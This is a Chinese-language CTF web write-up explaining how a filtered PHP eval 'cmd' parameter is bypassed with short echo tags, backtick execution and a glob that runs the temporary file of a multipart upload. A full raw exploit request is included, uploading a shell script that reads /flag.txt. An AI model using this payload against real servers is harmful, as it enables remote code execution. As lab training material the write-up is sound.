0x00 前言
- CTF 加解密合集
- CTF Web合集
0x01 题目
0x02 Write Up
同样,先看一下有没有注释的内容,可以看到有一个cmd的入参
执行之后可以看到文件代码,可以看到也是eval,但是中间对大部分的字符串都进行了过滤,留下了一个字母p
这里就需要知道一个知识点,php中可以通过<?=
进行打印,相当于echo,但是必须使用?>
对之前的内容进行闭合
还有一个知识点就是如果是PHP上传文件的话,会在/tmp下生成一个为phpxxxxxx的文件x为随机字母
那么构造一下poc:就是
?><?=`.+/??p/p?p??????`;
?
表示占位符
那么最终的数据包就是:
POST /?cmd=?%3E%3C?=`.+/??p/p?p??????`; HTTP/1.1
Host: 6aae41f0-5311-43d9-9769-75453c352b5b.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: application/json
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Cache-Control: no-cache
X-Requested-With: XMLHttpRequest
X-CSRF-TOKEN: xxxxxx
Content-Type: multipart/form-data; boundary=---------------------------107149833622792667114153151063
Content-Length: 258
Origin: http://127.0.0.1:8000
Connection: close
Referer: http://127.0.0.1:8000/run_any
Cookie: login_locale=zh_CN; avatarImageUrl=-351954267144434677; csrftoken=nbORQ4TEUH5bqVtZlC9gjZ4qzooR96rzFg7VCEOFmkouupiE1KIWdvQGCBqQnrBY; __utma=96992031.1671372876.1687101569.1687101569.1687101569.1; __utmz=96992031.1687101569.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); sessionid=lnu0vgi75dlekaxsf7iu5g4j2nof5oug
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
-----------------------------107149833622792667114153151063
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream
#! /bin/sh
cat /flag.txt
-----------------------------107149833622792667114153151063--
最终获取falg
以上